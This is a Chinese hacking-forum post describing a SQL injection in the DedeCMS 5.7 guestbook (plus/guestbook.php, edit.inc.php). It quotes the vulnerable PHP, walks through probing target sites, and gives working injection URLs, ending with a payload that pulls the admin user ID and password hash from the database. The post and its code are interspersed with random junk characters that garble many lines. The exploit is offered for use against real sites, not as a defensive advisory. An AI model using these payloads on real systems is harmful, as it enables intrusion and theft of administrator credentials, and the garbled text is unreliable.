找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3773|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7$ `! o; m; k4 r' [

+ U% j9 b9 @4 H4 [8 V. @( ^漏洞文件edit.inc.php具体代码:
' b: s# _4 r" \. L
- R/ x* l* Y8 a9 B( S& c< ?php  7 K3 V* I6 W, E# u, O4 R* u5 i
$ z- S1 g# I2 q! l" `: e3 l  h
if(!defined('DEDEINC')) exit('Request Error!');  
; d+ [! B4 h& J! `5 F6 k* W9 V# I0 U; q6 D5 f* l1 N
   
3 e) _+ P( |5 |
$ B7 H0 d. d% t  V+ m0 Sif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
% ^6 F, a( M% v8 l/ c" S
7 Q+ K4 A8 Z+ G/ i# ^. ], K) I+ Celse $GUEST_BOOK_POS = "guestbook.php";  
" ]# l& m, M1 N4 _0 W9 t: D* ^( M* o+ A8 x+ _5 O3 @  y$ U
   . f% A: h. n! {( v2 N+ y1 X
! q) g7 r/ H8 j
$id = intval($id);  + @' Y1 b, P( v- O9 j6 Z

9 ^/ S( i; _1 B6 yif(empty($job)) $job='view';  0 w! J1 L5 K) d6 P! W

+ v9 L! A2 W. C  ~6 X- G( a   + f% I0 E  h( B

( l$ @2 x9 O) {* Z1 Iif($job=='del' && $g_isadmin)  
3 k- c- B$ o5 a8 l0 ^( D/ g2 W% e" b, C5 b
{  
. ?* j$ F) d: C7 C0 ]8 D1 D6 m) e) h4 F: M' G% s+ Y
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
% w( |) l& T3 F6 p: m
; C: z$ o1 e3 e) p2 z/ ^6 i, KShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
9 h: _& ~; B: ?9 S& k
0 ?2 x3 v" q$ V$ T8 B# pexit();  
6 L* e0 T8 {+ J, F4 z6 @5 E. x6 D* V
}  " e$ W3 b' ^# s/ h9 t# O

0 t  I  [3 T% ?4 Celse if($job=='check' && $g_isadmin)  ! x; E3 a- }) x) Y

) y7 G3 m, f& r9 K. {1 F6 u; z! v/ C5 x{  
+ A4 Z" S- F, J7 R* @" o
. H+ q4 x8 Z, t$ a+ o, a$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  " Z. M) V% a- B  B
: b* D! H/ Q0 |! J; {5 u: e
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  + x! a# m: \( A; l/ }

, m) ]# w- b& w. eexit();  
; m2 @7 `  ?) N' _3 T3 K+ K3 M
' _  Y8 r+ H$ A}  5 p! E+ ?1 ?4 Q1 C2 A" d, T, S
0 Z3 o1 I# d+ Z+ ^; o7 A
else if($job=='editok')  & F1 F5 Z! c, l6 a3 Q, p! f
% u- j; ?6 L! S: N) s
{  
" q2 y8 J. @! O0 U/ c5 T4 P" @1 d3 B
! w8 V" p( J: Q* s. h5 H; b/ P$remsg = trim($remsg);  
3 o" [3 I5 L! {8 E$ Y
$ Y  v$ i  W2 D; p' o! m" ?$ xif($remsg!='')  + p4 W: P1 O( U" Q; X- {
( Z0 m1 P5 n- ^1 _
{  ( X/ f5 x& \* |- O

5 @. W0 t# k% U. t//管理员回复不过滤HTML By:Errorera blog:errs.cc  
. P. Z, d; x6 X( G$ [# n& w" z7 r' r& {) `& [) I
if($g_isadmin)  
2 D" W, P0 S+ R) j& S# y+ t2 Z, ^2 L! Z/ f6 V5 c
{  3 X; U$ J- N# W0 q+ z: {
+ v4 I" P6 b( K9 z
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  2 D4 _8 j# K, u/ p! j* P

* ~, y' h8 B) n3 L4 Q//$remsg <br /><font color=red>管理员回复:</font> }  
7 B( t5 k* t& f: C9 R6 v
  l/ t' i. Q, a- W: e% ]else % ]* m& i1 V3 m' X6 T7 ]) w9 ^  G
: _2 e4 ]$ A' y) t- v+ D% F
{  
- u) z$ D2 @# Z( _. A
/ M# ^7 Z2 k' i" x) n& E8 v  M$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  ( N5 j' \; i% U# a/ j( }1 U. h! p

: ~0 L2 M1 M) i5 x$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
  j1 M9 t: b) B$ A9 j5 b: s5 {+ s6 a- S( X
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
5 c: }. l2 D# g  W, [& r) b; K, q1 l4 K
$msg = $oldmsg.$remsg;  ' Z# h% X8 t( u
, W6 k1 T3 Q5 }9 z6 S
}  , T( D/ f( ^. c( L+ G  N% h
' Z9 S$ G- g; C5 ?* ]& g- d- y
}  
" x! s7 x7 e1 ^+ v" G  S8 |+ r7 I+ [$ J7 U
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  , C. Y! R  H* T( W8 g

) j& F- v: r/ Z. x; }) t- v$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");    C  M# Z+ X8 n0 d7 M: U1 P

' v, F2 P" P0 V! r" F3 |* v# EShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  1 g7 `( I& I0 t; ~

8 p1 a/ i  x* Lexit();  ( U8 C' i9 \$ V" R4 ?0 D
* \. j  E6 c- n+ q6 I; `# q
}  
7 H  _- {, s/ r2 h* l$ ]) n" ?4 P- m, L
//home:www.errs.cc  # V2 @! o% `: E$ O
; d- L& \) U0 W/ D
if($g_isadmin)  # T0 l0 I/ r5 I0 x

1 q( W* k) S# w' s, `: G. F{  * I2 b  F+ U( [0 R

1 G  U# M* h) U/ ]4 k" z$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
0 {5 q0 z; c7 Z9 h+ J- x, s+ m- \- G+ H, D' @' Y
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
- |% d6 `$ M5 E' P, b0 g6 E" K! c
' x1 n" t4 f- L& Y/ Z  B  `}  : V$ }2 F; b0 d; a$ ?5 h, J3 e

) y1 X8 e- e& V( O4 xelse
- l- ?) ~  z# B, O& u4 M& T. v2 U" B) y6 E+ ?3 Y
{  6 l: P% p3 N& v+ v* G" p/ w
( v3 L) J" e+ ]+ h
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
% z" R9 W$ y  X' j- P" |1 H1 {; L" V  G; e& Q0 O8 Q
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  $ w" T% H% ~7 W0 X
& _7 g5 Q- n  ~( k+ q& n
} 漏洞成功需要条件:
  z+ }4 L8 J3 C" M1. php magic_quotes_gpc=off9 c1 i" h9 S* {  p( J% P- F
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
5 U8 e0 \% u! k$ ?$ E3 C4 @5 e" J/ P
怎么判断是否存在漏洞:
0 C: d8 }* x7 s  V3 V先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,2 F" K4 ]8 j5 w5 A) `
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
4 `6 I, J5 ?6 }' z: j- N% K6 M访问:
$ l1 v% Y5 w) x$ t, l! K2 t( d$ U7 G# G( ^4 w; v' T/ [. G
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
/ a* f( ?! D' r" [跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证$ v0 [/ p- P; l! ?

# X( l: s; O8 }" r( ~6 ^" k! i
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off7 D6 u; m1 A) ?! r" z% D8 t
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
$ `% ]1 ?" I' X1 f& m& R/ [* h那么再次访问& p4 z, c8 x; S' U. C  I. O( ^$ X
# m  j% a9 M$ u% y! C  K' |5 ~. ^/ V
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().7 ]; S3 n! D& ?: u* i

& r# x4 T) a7 G2 D. e大概利用就是这样,大家有兴趣的多研究下!!
( f9 c4 a/ ?* D& Q' t7 K; I
' t8 D0 @8 J: o: h: g7 m& Z' n最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!6 B$ ?0 a, D/ C  J- J$ p' e7 A/ L0 D
$ d: D3 c) t& L$ H7 A
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表